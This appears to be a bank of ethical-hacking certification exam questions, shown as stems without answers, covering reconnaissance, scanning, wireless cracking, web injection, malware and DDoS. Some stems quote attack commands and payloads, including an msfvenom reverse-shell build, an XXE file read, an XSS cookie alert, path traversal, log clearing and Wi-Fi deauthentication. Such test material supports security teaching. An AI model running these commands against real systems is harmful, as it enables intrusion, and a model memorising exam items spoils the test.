scenario questions

A security engineer needs to configure a web server to support Perfect Forward Secrecy (PFS) for HTTPS connections. Which of the following key exchange methods should be prioritized?

Which of the following cryptographic algorithms is classified as asymmetric?

During a vulnerability scan using Nessus, a security analyst discovers that the target host shows a 'High' severity vulnerability for 'SSL/TLS Renegotiation DoS'. What does this vulnerability indicate?

During a penetration test, the tester uses a tool that queries search engines with specific operators to find sensitive information such as login pages, exposed directories, and file types. Which tool or technique is being used?

You are performing a web application security assessment and discover that the application uses a hidden form field named 'price' to store the product price. The price is submitted with the form and used to process payments. Which attack would allow you to purchase an item for a lower price?

Which THREE of the following are common IoT attack vectors?

Match each footprinting technique to its description.

Which DDoS attack type exploits a small query to a vulnerable service that generates a large response directed at the victim?

A network administrator notices that the ARP cache on several workstations contains entries mapping the default gateway IP to an unknown MAC address. Users report intermittent connectivity issues. Which tool is MOST likely being used to perform this attack?

Which of the following techniques involves sending crafted packets to a target to elicit responses that reveal the operating system?

An ethical hacker wants to discover subdomains of a target domain using only public information. Which of the following techniques is MOST effective?

An attacker crafts a link that, when clicked by an authenticated user, performs an unintended action on a web application where the user is logged in, such as changing their email address. The application uses a session cookie for authentication but does not include any anti-forgery tokens in forms. Which attack is this?

A SOC analyst observes a high number of incomplete TCP connections with the SYN flag set but no corresponding ACK from the target. The source IPs are spoofed and the connections are targeting port 80 on a web server. Which DDoS mitigation technique would be MOST effective in this scenario?

A security analyst is conducting a vulnerability scan on a web server using Nessus. After the scan, they notice that the server's performance has degraded significantly, and some services have become unresponsive. Which of the following actions could have prevented this issue?

Which TWO of the following are characteristics of a polymorphic virus? (Select 2)

During an SMTP enumeration, a penetration tester connects to the mail server on port 25 and issues the commands 'VRFY root', 'EXPN admin', and 'RCPT TO:unknown@domain.com'. The server responds with '252' for VRFY, '250' for EXPN, and '550' for RCPT TO. What does this indicate?

During a password cracking session, a pentester uses a wordlist combined with rules to generate variations of each word. This approach is called a hybrid attack. Which tool, when used with a rule file, can perform such an attack?

Which THREE of the following are valid defenses against WPA2 attacks? (Select three)

A penetration tester identifies a web page that reflects user input in the response without proper encoding. The input is submitted via a GET parameter. Which type of cross-site scripting (XSS) is MOST likely present?

Refer to the exhibit. A security analyst notices multiple ESTABLISHED connections on port 443 from different external IPs to the same process ID. What type of attack is most likely occurring?

An IDS alerts on a large number of outbound DNS queries from an internal host to a suspicious domain. The queries have random subdomains and the response size is large. Which attack is MOST likely in progress?

A security analyst runs the following command: hping3 -S -p 80 -c 1 192.168.1.1. The response received is an RST/ACK packet. What does this indicate about port 80 on the target?

Which THREE of the following are valid Nmap flags that can be used to evade detection by an IDS? (Select exactly 3.)

A penetration tester discovers that an Nmap SYN scan against a target host returns no open ports, but a TCP connect scan reveals port 443 open. Which of the following is the most likely reason for this discrepancy?

Refer to the exhibit. An attacker gains access to the user's workstation and wants to find a file containing passwords. Which file is most likely to contain credentials?

After successfully exploiting a system, an attacker uses the command 'wevtutil cl system' on a Windows target. What is the MOST likely purpose of this command?

During a penetration test, a tester finds a web application that reflects user input in the page without sanitization. Which TWO types of XSS are potentially exploitable in this scenario?

Refer to the exhibit. An analyst runs netstat on a Windows server and observes multiple established connections to port 3389 from internal IPs. Which attack is most likely occurring?

A penetration tester uses the following Google dork: intitle:"index of" "backup" site:example.com. What is the MOST likely goal of this search?

A penetration tester wants to enumerate user accounts on a Linux system running SMTP service. Which commands are commonly used for this purpose?

During a penetration test, you find a web application that includes files using a parameter like /index.php?page=about. When you change the parameter to /etc/passwd, the application returns the contents of the password file. Which vulnerability is present?

An attacker is attempting to perform an Insecure Direct Object Reference (IDOR) attack on a web application. Which TWO conditions are necessary for this attack to succeed?

Which TWO of the following are examples of privilege escalation on Linux? (Select 2)

An analyst runs the following command: dnsenum --enum example.com. Which of the following actions is dnsenum performing?

A security team is evaluating wireless security for a corporate network. They want to implement the strongest current encryption standard for Wi-Fi. Which of the following should they choose?

Which of the following is a tool commonly used for MAC flooding attacks to force a switch into fail-open mode, allowing sniffing of all traffic on the network?

A penetration tester obtains password hashes from a Windows system. Which TWO methods would be most efficient for cracking NTLM hashes offline? (Choose two.)

Which of the following tools is specifically designed to search the internet for exposed devices and services, such as industrial control systems and webcams, using banners and metadata?

A penetration tester uses `smbclient -L //192.168.1.30 -N` and receives a list of shares including a hidden administrative share (C$) and a user share named "Backup". What is the most immediate security concern?

A security analyst receives an alert that an external IP address is sending fragmented packets to the company's web server on port 80. The analyst suspects the attacker is using Nmap with fragmentation. Which Nmap flag is being used to fragment the probe packets?

An IoT device uses MQTT protocol with default credentials 'admin/admin' and no TLS encryption. An attacker on the same network captures MQTT packets and extracts sensor data. Which two vulnerabilities are being exploited? (Choose the best combination)

A security engineer wants to ensure that a wireless network uses the most secure encryption available. Which of the following should be configured on the access point?

Which of the following is an example of passive OS fingerprinting?

A security analyst notices that an internal server is sending a high volume of DNS queries to external servers for non-existent domains. Which type of malware behavior is MOST likely being observed?

A penetration tester receives an email that appears to be from the company's CEO, urgently requesting that the tester click a link to review a document. The email contains several grammatical errors and the sender's address is slightly misspelled. Which type of social engineering attack is this MOST likely?

Which tool is specifically designed to perform SNMP enumeration by walking the MIB tree using a known community string?

During an internal penetration test, you run 'smbclient -L //192.168.1.100 -N' and get an empty response. Which of the following is the MOST likely reason?

An attacker discovers that a web application's login form allows unlimited login attempts. The attacker uses a list of usernames and passwords obtained from a previous breach to gain access. This attack is known as:

A security analyst detects an ongoing DDoS attack where the attacker sends a large number of ICMP echo request packets with spoofed source IP addresses to a network's broadcast address. The attack overwhelms the target with responses from all hosts on the network. Which attack type is this?

Which tool is commonly used for ARP spoofing attacks to perform man-in-the-middle (MITM) attacks on a local network?

A web application allows users to access files using parameters like 'file=report.pdf'. A tester changes the parameter to '../../etc/passwd' and retrieves the system password file. This is an example of which attack?

Which TWO of the following are effective physical security controls to prevent tailgating?

Which TWO of the following are effective defenses against CSRF attacks? (Choose 2.)

A web server is found to have directory listing enabled for the /uploads folder. An attacker discovers a shell.php file uploaded earlier. Which attack is the attacker MOST likely to perform next?

An application is vulnerable to server-side request forgery (SSRF). An attacker exploits this to access internal services. Which of the following is a common indicator of SSRF?

An attacker uses an idle scan with Nmap to probe a target. This technique relies on a third-party host with a predictable IP ID sequence to infer port states. Which Nmap flag enables an idle scan?

Which TWO of the following are common tools used for web application security testing? (Choose 2)

A security analyst captures a WPA2 4-way handshake using airodump-ng. Which tool would they use to perform a dictionary attack on the captured handshake to recover the PSK?

You need to perform a fast scan of all 65535 TCP ports on a target IP address. Which tool is specifically designed for high-speed scanning and can surpass Nmap's speed on large-scale networks?

Which TWO of the following are examples of passive footprinting techniques? (Select exactly 2.)

A penetration tester finds that a web application allows uploading a file with the name '../../var/www/html/shell.php'. The file is successfully written to the server. Which combination of vulnerabilities does this exploit?

During a web application penetration test, a security analyst intercepts a request using Burp Suite and notices the following parameter in the URL: /profile?user_id=123. By changing the user_id to 124, the analyst is able to view another user's profile. Which vulnerability is being exploited?

A security analyst notices that a web server is experiencing slow response times, and the connection logs show many incomplete HTTP requests from various IP addresses, each keeping connections open for long periods. Which attack is MOST likely occurring?

Which type of malware is designed to replicate itself across networks without requiring a host file, often exploiting vulnerabilities to spread?

During a penetration test, an attacker gains access to a system and wants to maintain persistent remote control. Which type of Trojan is specifically designed for this purpose?

A security analyst discovers that a web application's search box reflects user input without proper sanitization. However, the attacker must trick a victim into clicking a crafted link containing the malicious script. This vulnerability is classified as which type?

During a penetration test, a tester uses the following payload in a search field: <script>alert(document.cookie)</script>. The payload is reflected in the response without sanitization. However, the tester notices that the attack only works when the payload is submitted via a POST request, not GET. Which type of XSS is this?

An attacker sets up a fake access point with the same SSID as a legitimate corporate network. Clients connecting to this AP are prompted to enter their network credentials. Which type of attack is this?

A security analyst notices that a web server is responding very slowly to legitimate requests. The server logs show many incomplete HTTP GET requests that never complete, each opened slowly over time from many different IP addresses. Which attack is most likely occurring?

An IoT device uses the MQTT protocol without TLS. A security tester connects to the broker and subscribes to all topics using '#'. What is the tester MOST likely able to accomplish?

Which TWO of the following are characteristics of a polymorphic virus? (Choose 2)

During a penetration test, an ethical hacker captures a WPA2 handshake and successfully cracks the PSK. Which additional action must be taken to decrypt previously captured traffic?

Which tool is specifically designed to automate social engineering attacks, such as phishing and credential harvesting?

During a penetration test of a corporate wireless network, you capture a WPA2 handshake and successfully recover the PSK. Later, you notice that some clients are using WPA3-Personal. Which attack could be used to downgrade a WPA3 client to WPA2 and capture its handshake?

A security analyst notices that a server is sending an unusually high number of SYN packets to multiple external hosts, but the connections are never completed. The server is most likely involved in which type of attack?

After a security incident, an analyst retrieves a suspicious file. The analyst runs the 'strings' command on it and sees references to 'CreateRemoteThread' and 'WriteProcessMemory'. Which technique does this indicate?

Which type of password cracking attack uses a precomputed table of hash chains to reverse hashes quickly?

A web application is vulnerable to SQL injection. Which THREE of the following techniques can be used to extract data from the database using blind SQL injection?

Which TWO of the following are examples of application layer DDoS attacks? (Select two.)

A security analyst reviews the iptables firewall configuration on a Linux server acting as a gateway for a small office. The server has two interfaces: eth0 (external) and eth1 (internal, 192.168.1.0/24). Based on the exhibit, which of the following is a valid security concern?

Which THREE of the following are techniques used in session hijacking? (Select three.)

A penetration tester wants to perform a stealthy TCP scan that does not complete the three-way handshake. Which Nmap flag should be used?

A security analyst wants to perform passive reconnaissance on a target domain. Which TWO of the following methods are considered passive? (Choose 2)

Which TWO of the following are types of SQL injection? (Select 2)

Which of the following best describes the difference between active and passive reconnaissance?

Which of the following tools is specifically designed for ARP poisoning and can be used to perform man-in-the-middle attacks on a local network?

A penetration tester is scanning a target and receives the output: 'PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https'. Which Nmap flag was MOST likely used to obtain this output?

Which of the following Burp Suite tools is used to automatically fuzz web application inputs and identify common vulnerabilities like SQL injection and XSS?

After gaining initial access to a Linux server, an attacker runs `find / -perm -4000 -o -perm -2000 2>/dev/null`. What is the primary objective of this command?

A penetration tester executes the following command: 'reaver -i wlan0mon -b 00:11:22:33:44:55 -vv'. Which attack is being performed?

Which TWO of the following are common attack vectors against IoT devices? (Select 2)

During a penetration test, you run the following Nmap command: nmap -sS -sV -O -A -T4 --script=default 10.0.0.1. The scan results show that port 443 is open and the service is 'Apache httpd 2.4.29'. However, banner grabbing with Netcat shows 'Apache/2.4.41 (Ubuntu)'. What is the MOST likely explanation for the discrepancy?

Which of the following is a characteristic of a polymorphic virus?

During the reconnaissance phase, a tester discovers that the target company's email server is configured to automatically respond to delivery status notifications (DSNs). Which type of attack could this information facilitate?

A security analyst runs a vulnerability scan with Nessus and receives a report indicating that multiple hosts have the 'MS17-010' vulnerability. What is the MOST likely impact of this vulnerability if exploited?

During a penetration test, a security analyst discovers that an organization's web application uses HTTP for login forms, potentially exposing credentials to interception. Which of the following is the BEST cryptographic control to implement to protect credentials in transit?

Which TWO of the following are passive reconnaissance techniques? (Select 2)

Which tool is specifically designed to enumerate SMB shares and user accounts on a Windows target by leveraging the SMB protocol?

A security analyst observes the following in Apache access logs: 'GET /cgi-bin/test.cgi?cmd=id HTTP/1.1' 200. This is most likely an attempt at which attack?

Which TWO of the following Nmap scans are considered 'stealth' scans that do not complete a full TCP three-way handshake?

A security analyst wants to check if a web application is vulnerable to Server-Side Request Forgery (SSRF). Which of the following actions would be most effective?

A penetration tester runs `snmpwalk -c public -v2c 192.168.1.50 1.3.6.1.2.1.1` and receives a list of system descriptions, uptime, and contact information. Which type of information is the tester primarily gathering?

During a penetration test, you successfully gain access to a web server with a low-privileged shell. You want to escalate privileges to root. Which of the following techniques is MOST likely to achieve privilege escalation on a misconfigured Linux system?

An analyst reviews the following HTTP response: HTTP/1.1 200 OK Set-Cookie: sessionid=abc123; SameSite=None; Secure ... <html><body><p>Welcome back!</p></body></html>. What possible vulnerability exists if the application does not use CSRF tokens?

Which TWO of the following Nmap flags are used for evasion of IDS/IPS? (Choose two.)

During a penetration test, you run the command `enum4linux -a 192.168.1.10` and receive output containing user account names, group memberships, and share listings. Which protocol is primarily being enumerated?

Which of the following is a cryptographic attack that exploits collisions in hash functions?

An analyst executes 'nmap -sU -p 161,162 10.0.0.1'. What is the primary purpose of this scan?

A security analyst runs `nbtstat -A 192.168.1.10` and receives a response with the computer name, logged-in user, and domain. Which protocol is being queried?

During a security assessment, a tester uses `nmap -sU 192.168.1.1`. What type of scan does this command perform?

A security analyst executes the command 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe' and transfers the file to a target. Which technique is being used?

A security analyst notices that a web application's search functionality returns database error messages in the response. The analyst suspects SQL injection. Which TWO techniques should the analyst use to confirm and exploit this vulnerability? (Choose TWO.)

While analyzing web server logs, an analyst finds the following entry: GET /../../../../etc/passwd HTTP/1.1 with a 200 OK response. Which vulnerability is indicated, and what is the MOST likely impact?

An incident responder analyzes logs and finds repeated failed zone transfer attempts from an external IP. The zone transfer requests are targeting the domain example.com. Which DNS record type, if misconfigured, would allow this attack to succeed?

Which TWO of the following are effective mitigations against Cross-Site Request Forgery (CSRF)?

You are a security analyst for a medium-sized company. The company uses a custom web application for internal project management. The application uses AES-256-CBC for encrypting sensitive data stored in the database. Recently, the company experienced a data breach where an attacker exfiltrated the entire database. Although the data was encrypted, the attacker was able to decrypt some records. Investigation reveals that the encryption key is stored in a configuration file on the same server, and the initialization vector (IV) is hardcoded in the application code. Additionally, the application uses the same key for all records. Which of the following is the most effective remediation to prevent future decryption of stolen encrypted data?

Which THREE of the following are characteristics of asymmetric encryption?

A penetration tester runs the following command against a Linux server: `smbclient -L //192.168.1.10 -N`. The output lists shares including 'IPC$', 'ADMIN$', and 'data'. Which of the following is the BEST next step to enumerate the 'data' share?

A security analyst observes a sudden increase in network traffic from many external IPs targeting the company's web server with multiple HTTP GET requests to the same page (/index.php?page=home). The requests appear legitimate but are coming at a very high rate. Which TWO types of attack is the analyst most likely witnessing?

Refer to the exhibit. A penetration tester runs hashcat to crack NTLM hashes. Which hash mode (-m) would be correct for NTLM?

During a penetration test, a tester captures a WPA2 4-way handshake. Which of the following is the NEXT step to attempt to recover the Wi-Fi passphrase?

A penetration tester uses the following Google dork: site:example.com filetype:pdf inurl:confidential. What is the MOST likely goal of this search?

A security analyst receives an alert about a workstation repeatedly sending large volumes of ICMP echo request packets to a broadcast address. Which type of attack is this indicative of?

Which of the following Google dorks would an attacker MOST likely use to find login pages of web applications that are publicly accessible?

Which of the following tools would be BEST to use for identifying all live hosts in a large IP range (e.g., 10.0.0.0/8) quickly?

During a penetration test, an ethical hacker runs the following command: aireplay-ng -0 5 -a 00:11:22:33:44:55 -c 66:77:88:99:AA:BB wlan0mon. What is the immediate effect of this command?

A security analyst suspects that an attacker is scanning their network. They notice a large number of TCP SYN packets being sent to various ports on a single host, but no SYN-ACK responses are returned. Which type of scan is most likely being used?

A penetration tester calls an employee claiming to be from the IT help desk and asks for their password to perform a 'security update'. The employee provides the password. Which social engineering technique is being used?

During a penetration test, the tester wants to discover all subdomains of a target domain using an OSINT technique. Which tool is specifically designed for subdomain enumeration via search engines and public records?

Which TWO of the following are types of malware that specifically aim to demand payment from victims?

During a penetration test, you discover an LDAP server on port 389 that allows anonymous binds. Which of the following enumeration techniques would provide the MOST comprehensive information about the directory structure?

Which of the following best describes the attack where an attacker uses a valid session token to impersonate a user without needing to authenticate?

An IoT device uses the MQTT protocol without TLS. An attacker on the same network captures messages and publishes a fake temperature reading. Which attack is being executed?

Which type of malware spreads by replicating itself across a network without requiring a host file to attach to?

Which of the following tools is commonly used for dynamic malware analysis by executing the malware in an isolated environment and monitoring system changes?

Which of the following tools is commonly used to automate the detection and exploitation of SQL injection vulnerabilities?

A penetration tester runs `nmap -sI 192.168.1.10 -p 80 10.0.0.1` and receives output indicating port 80 is open. The scan uses a zombie host. Which type of scan is this?

What is the primary purpose of the 4-way handshake in WPA/WPA2-Personal?

A web application uses a URL parameter to fetch a file from the server, e.g., 'download.php?file=report.pdf'. An attacker changes the parameter to '../../etc/passwd' and retrieves the password file. This attack is known as:

After gaining initial access, an attacker attempts to escalate privileges by exploiting a misconfigured service running as SYSTEM. They find that the service's binary path is writable by the Everyone group. Which privilege escalation technique is the attacker MOST likely using?

Which TWO of the following are common attack vectors against IoT devices? (Select TWO.)

Which type of malware encrypts the victim's files and demands payment for the decryption key?

A penetration tester is enumerating an SMTP server on port 25. They issue the command `VRFY root` and receive a 250 response, then `VRFY admin` also returns 250. What does this indicate about the SMTP server?

During a penetration test, you discover a process named 'svch0st.exe' running on a Windows server with high CPU usage. The file is not digitally signed. Which type of malware is MOST likely present?

Which of the following tools is specifically designed to perform password cracking using rainbow tables?

Which TWO of the following attacks can be prevented by properly validating and sanitizing user input? (Select 2)

Which of the following commands is used to enumerate SNMP information from a network device using a specific community string?

A penetration tester wants to crack Windows NTLM hashes using rainbow tables. Which tool is specifically designed for this purpose?

Which of the following commands would a tester use to enumerate NetBIOS names and their associated IP addresses on a local subnet?

A security analyst observes repeated de-authentication packets targeting clients on a corporate Wi-Fi network. What is the MOST likely goal of the attacker?

Which TWO of the following are effective mitigations against Clickjacking attacks? (Choose 2)

During a passive reconnaissance phase, a penetration tester uses a tool to gather email addresses, subdomains, and employee names associated with a target domain without directly interacting with the target's systems. Which tool is BEST suited for this purpose?

A security analyst runs `snmpwalk -v2c -c public 192.168.1.1` and receives extensive output about the device's configuration. Which of the following is the MOST effective countermeasure against this enumeration?

Which of the following tools is PRIMARILY used for passive OSINT gathering and can query multiple search engines, social media platforms, and public databases to collect information about a target?

During a penetration test, you need to identify all live hosts on a target network without being detected by intrusion detection systems. Which Nmap flag would BEST achieve this?

Which of the following is a symptom of a successful command injection attack?

Which THREE of the following are best practices for securing IoT devices in a home automation network?

A security analyst uses a tool to capture packets in promiscuous mode on a network segment. The analyst notices that only traffic to and from the analyst's machine is captured, not all traffic on the segment. What is the most likely reason?

A cloud security engineer notices that an S3 bucket containing sensitive customer data is configured with a bucket policy that allows 'Principal': '*' and 'Action': 's3:GetObject'. The bucket is not publicly accessible via the AWS Management Console, but the engineer is concerned about data exposure. What is the most likely risk?

A security analyst wants to enumerate users and groups from a Windows domain controller using LDAP. Which of the following queries would return all objects of class 'user' from the domain 'example.com'?

A penetration tester is using SQLMap to automate exploitation of a SQL injection vulnerability found in a login form. The tester wants to retrieve the names of all databases on the backend MySQL server. Which SQLMap flag should be used?

A security analyst captures a WPA2 4-way handshake using airodump-ng. Which tool would they most likely use next to attempt to crack the PSK using a wordlist?

An employee receives a text message claiming to be from the company's IT department, stating that their account will be suspended unless they click a link to verify their credentials. Which type of social engineering attack is this?

An attacker intercepts a request and notices that the server reflects the value of the 'User-Agent' header in the response without sanitization. The attacker crafts a payload that triggers an alert box. This is an example of:

Refer to the exhibit. A penetration tester sends a SOAP request and receives multiple user records. Which vulnerability is present?

A security analyst runs the Nmap command: nmap -sI 192.168.1.50 -p 80 10.0.0.1. The scan completes, but the target shows no open ports. What is the MOST likely explanation?

A penetration tester observes that an Nmap SYN scan shows all 1000 TCP ports as open. The tester suspects the target is using a security appliance that responds with SYN-ACK to all connection attempts, regardless of the actual port state. Which type of Nmap scan would be MOST effective in determining the true state of the ports?

Which type of malware is designed to encrypt files on a victim's system and demand payment for the decryption key?

Which of the following tools is specifically designed to automate the detection and exploitation of SQL injection vulnerabilities?

A security analyst notices that after a user connects to a corporate Wi-Fi network, all HTTP traffic is redirected to a fake login page that captures credentials. The analyst suspects a rogue access point. Which attack is most likely being used to force client connections to the rogue AP?

Which tool is specifically designed to create and manage phishing campaigns for security awareness testing?

A security analyst receives an alert about a suspicious file hash. The analyst wants to check if the file is known malware by querying an online database of malware signatures. Which tool should the analyst use?

Which of the following is a passive OS fingerprinting technique that does NOT send any packets to the target?

An analyst observes repeated failed login attempts to a Windows server from an internal IP, followed by a successful login using the account 'admin' from the same IP. The analyst checks the Security log and finds Event ID 4624 with Logon Type 3. What type of attack is MOST likely occurring?

Which tool is specifically designed to assess the security configuration of AWS, Azure, and GCP cloud environments by scanning for misconfigurations in services like S3, IAM, and EC2?

In PKI, what is the primary role of a Certificate Authority (CA)?

A network administrator notices an unusual amount of traffic on port 389 from an internal server to multiple external IP addresses. Which type of malware might be present?

Match each type of attack to its description.

During a penetration test, you need to enumerate all DNS records for example.com using a zone transfer. Which TWO tools can be used to attempt this?

During a security assessment, you find a Linux binary with the SUID bit set and owned by root. You execute it and obtain a root shell. This is an example of which privilege escalation technique?

Which wireless security standard introduced in 2018 uses Simultaneous Authentication of Equals (SAE) to replace the pre-shared key exchange in WPA2, providing forward secrecy and resistance to offline dictionary attacks?

Which of the following cryptographic algorithms is classified as asymmetric?

A security analyst discovers that an IoT device in a smart building is periodically sending small DNS queries to an external domain known for command-and-control activity. Which security control should be implemented to detect and block such traffic without disrupting legitimate operations?

Which Burp Suite tool is most appropriate for modifying and re-sending a single HTTP request multiple times with different payloads to test for SQL injection?

You are performing a penetration test and need to quickly scan a large IP range (e.g., 10.0.0.0/8) for open ports 80 and 443. Which tool is BEST suited for this high-speed scanning task?

Which TWO tools are specifically designed for cloud security auditing and exploitation? (Choose two.)

A security analyst notices that an attacker has gained SYSTEM privileges on a Windows server after compromising a service running as LOCAL SYSTEM. The attacker then uses `whoami /priv` and finds the SeTcbPrivilege (Act as part of the operating system) is enabled. Which privilege escalation technique might the attacker use next?

In the cloud shared responsibility model, which of the following is typically the responsibility of the customer when using AWS EC2 (IaaS)?

A security analyst is conducting passive reconnaissance on a target organization. Which THREE of the following are examples of passive reconnaissance techniques? (Select 3)

Which TWO of the following tools are specifically designed for footprinting and reconnaissance tasks? (Select two.)

Which THREE of the following are common attack vectors against IoT devices? (Choose three.)

Which TWO of the following are effective mitigations against Cross-Site Request Forgery (CSRF) attacks? (Select 2)

Which THREE of the following are techniques used in static malware analysis? (Select 3)

Which TWO of the following are examples of active reconnaissance? (Select 2)

Which THREE of the following are effective DDoS mitigation techniques? (Choose 3)

Which tool is specifically designed to crack Windows LM and NTLM password hashes using rainbow tables?

During a security assessment, a tester uses Maltego to gather information about a target organization. Which type of reconnaissance is being performed?

Which of the following cryptographic algorithms is classified as asymmetric?

You are a penetration tester hired to perform a security assessment for a medium-sized e-commerce company, "ShopSmart". The company hosts its website on a shared hosting environment and uses a third-party payment gateway. Your goal is to gather as much information as possible without triggering any alarms. During the initial footprinting, you discover that the company's domain "shopsmart.com" was registered five years ago and the WHOIS record shows the registrant's name, address, phone number, and email. The email address is "admin@shopsmart.com". You also find a job posting on LinkedIn that mentions they are looking for a "Senior PHP Developer with experience in Laravel and MySQL". Additionally, by using the Wayback Machine, you find an old version of the site that includes a comment in the HTML source: "<!-- TODO: Remove debug page before launch: /dev/test.php -->". You attempt to access /dev/test.php but receive a 404 error. What should you do NEXT to maximize information gain while remaining passive?

A security administrator notices repeated failed login attempts from a single IP address targeting the SSH service. The attempts use common usernames (root, admin, test) and a list of passwords from a dictionary. What type of password attack is being conducted?

During a penetration test, a tester captures the WPA2 4-way handshake with airodump-ng and then uses aircrack-ng with a wordlist. However, the PSK is not found. Which of the following is the MOST likely reason?

A security analyst observes a sudden flood of ICMP echo request packets from multiple external IPs to a single internal server. The packets have varying sizes and spoofed source addresses. Which type of attack is MOST likely occurring?

You are a security analyst for a medium-sized e-commerce company. The company hosts its web application on a single server running Apache on Ubuntu. Recently, the operations team noticed that the server's CPU usage spikes to 100% every few minutes, causing the website to become unresponsive. They have ruled out hardware issues. The web server logs show repeated requests to the same URL with varying parameters, such as /product?id=1, /product?id=2, etc., all originating from a single IP address. Each request returns a 200 OK response, but the server takes several seconds to generate the page. The application uses a relational database backend with an ORM. You suspect an attack is occurring. What is the most likely attack and the best immediate course of action?

Refer to the exhibit. An Nmap scan shows that port 80 is 'filtered' while ports 22 and 443 are 'open'. What does the 'filtered' state indicate?

A security team detects a large number of UDP packets from multiple sources directed at a single server's DNS port (53). The packets appear to have a spoofed source IP of the target. Which type of DDoS attack is being observed?

Which TWO of the following are asymmetric encryption algorithms? (Choose two.)

Match each wireless attack to its description.

Which tool would an analyst use to capture packets from a network interface and later analyze the pcap file for signs of an attack?

During a penetration test, you receive a list of password hashes from a Windows server. Which of the following tools would be BEST suited to perform a dictionary attack against these hashes?

A Linux system has a script named 'backup' owned by root with the SUID bit set and world-executable permissions. A standard user executes the script and discovers it runs a command that reads /etc/shadow and writes output to a world-readable file. What is the most likely intended exploitation path?

A penetration tester runs the following command against a target Linux server: smbclient -L 192.168.1.10 -N. The output lists several shares including 'Admin$', 'C$', and 'IPC$'. Which of the following is the MOST likely next step for further enumeration?

You are the lead security engineer for a financial technology company that hosts a critical web application on three load-balanced servers behind a reverse proxy. The application uses a REST API to process transactions. Recently, the company has experienced intermittent service outages during peak hours. Upon reviewing logs, you find that the reverse proxy is returning HTTP 503 errors for legitimate API requests, and the application servers show high CPU usage but normal memory. The network team reports no bandwidth issues. The application team claims no code changes were made. You suspect a specific type of attack is causing the outages. Which action should you take first to confirm the attack type?

An ethical hacker is analyzing a piece of malware that uses a custom encryption algorithm. The malware sample contains a hardcoded key that is 16 bytes long. The analyst observes that the encrypted data is the same length as the plaintext. Which encryption mode is most likely being used?

A penetration tester uses Burp Suite to intercept and modify web traffic. Which TWO features in Burp Suite would be MOST useful for performing a brute-force attack on a login form? (Choose TWO.)

Which of the following attacks is characterized by an attacker placing a fake wireless access point with the same SSID as a legitimate network to capture client credentials?

Which TWO of the following are valid enumeration techniques? (Select 2)

An attacker uses Reaver against a Wi-Fi network. What vulnerability is the attacker primarily exploiting?

Which type of malware is designed to encrypt files on a victim's system and demand payment for the decryption key?

Which THREE of the following are characteristics of a DNS amplification DDoS attack? (Select three.)

During a web application test, the tester finds that the application includes user-supplied file names in include() statements. Which TWO of the following are indicators of a Remote File Inclusion (RFI) vulnerability? (Choose TWO.)

An incident responder notices unusual outbound traffic from a host that is communicating with an external IP on port 4444. The traffic appears to be encrypted. Which tool could be used to initiate a connection to that external IP to gather a banner for service identification?

Which type of malware is characterized by being able to change its code signature each time it replicates to evade signature-based detection?

Which THREE of the following are cryptanalysis attacks that target hash functions? (Choose three.)

During a penetration test, you execute `theHarvester -d example.com -b google,linkedin`. What type of data is this tool primarily designed to collect?

In the shared responsibility model for cloud computing, which of the following is typically the customer's responsibility?

A web application allows users to upload profile pictures. An attacker uploads a file named "profile.php" containing malicious PHP code. When the attacker visits the uploaded file's URL, the code executes. Which vulnerability is being exploited?

A security analyst is performing reconnaissance on a target domain and wants to discover all subdomains using DNS enumeration. Which of the following commands would be MOST effective for performing a DNS zone transfer attempt?

A penetration tester runs the following Nmap command: nmap -sS -sV -O -p 22,80,443,3389 192.168.1.0/24. Which of the following BEST describes what this scan will accomplish?

An attacker attempts to enumerate valid email users by connecting to an SMTP server and issuing the following commands: EHLO example.com, VRFY root, VRFY admin, VRFY user1. Which SMTP enumeration technique is being used?

Which TWO of the following are common attack vectors for IoT devices? (Select two)

An analyst captures the following output from a wireless adapter: `[00:1A:2B:3C:4D:5E] 54 Mbps WPA2 CCMP PSK`. The analyst suspects a malicious rogue AP is impersonating a legitimate network. Which of the following indicators would MOST strongly confirm a rogue AP?

Which of the following is a well-known attack against the MD5 hash function that allows two different inputs to produce the same hash value?

A security analyst is investigating a potential SMB-based attack. They notice unusual traffic on port 445 from a host running `enum4linux`. Which of the following enumeration actions could `enum4linux` perform that would generate such traffic?

Which TWO of the following are examples of amplification attacks used in DDoS?

Which of the following malware types is characterized by self-replication without requiring a host file or program, and spreading across networks automatically?

A web server is configured with WebDAV and allows PUT requests. An attacker uploads a .asp file and accesses it to execute code. Which tool or method is most directly associated with exploiting this misconfiguration?

During a penetration test, you need to enumerate all users and groups from a Windows domain controller. Which tool is BEST suited for this task?

A web application allows users to upload profile pictures. The application uses the filename provided by the user to save the file on the server. An attacker uploads a file named 'malicious.php%00.png' and the server saves it as 'malicious.php'. Which vulnerability is being exploited?

A web application has an endpoint that takes a URL parameter and fetches content from that URL, returning it to the user. An attacker supplies 'file:///etc/passwd' and reads the server's passwd file. Which vulnerability is this?

A penetration tester runs the following Nmap command: nmap -sS -sV -O -p 22,80,443,3389 192.168.1.0/24. Which of the following BEST describes what this scan will accomplish?

You are a security consultant for a mid-sized company that recently migrated its customer relationship management (CRM) system to a public cloud provider (AWS). The CRM is a web application behind an Application Load Balancer (ALB) with WAF enabled. The application stores sensitive customer data in an RDS MySQL database. The security team has configured security groups to allow only HTTPS (443) from the internet to the ALB, and from the ALB to the application servers on port 8080. The application servers can connect to the database on port 3306. During a routine vulnerability scan, you discover that the database is publicly accessible from the internet on port 3306, which contradicts the intended design. You verify that the security group for the database allows inbound traffic from 0.0.0.0/0 on port 3306. The database contains unencrypted personal identifiable information (PII). What is the most effective immediate action to remediate this vulnerability?

Which of the following tools is specifically designed for auditing cloud environments (AWS, Azure, GCP) for security misconfigurations?

A penetration tester finds that a web application accepts XML input and returns the parsed data in the response. The tester submits the following payload: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>. The server returns the contents of /etc/passwd. Which vulnerability is being exploited?

A security analyst runs the following Nmap command: nmap -sS -sV -O -p 22,80,443,3389 192.168.1.0/24. Which of the following BEST describes what this scan will accomplish?

Which of the following tools is specifically designed to perform fast internet-wide scanning, often used in the reconnaissance phase to discover open ports across large IP ranges?

A security analyst runs the following command: 'wget http://example.com/bucket?list-type=2' and receives a listing of objects. Which cloud misconfiguration is this MOST likely exploiting?

An analyst observes that a web server is receiving many HTTP GET requests with random parameter values, each request taking a long time to complete. The server's connection pool is exhausted, and legitimate users cannot access the site. Which attack is MOST likely occurring?

Which TWO of the following are considered passive reconnaissance techniques? (Choose TWO.)

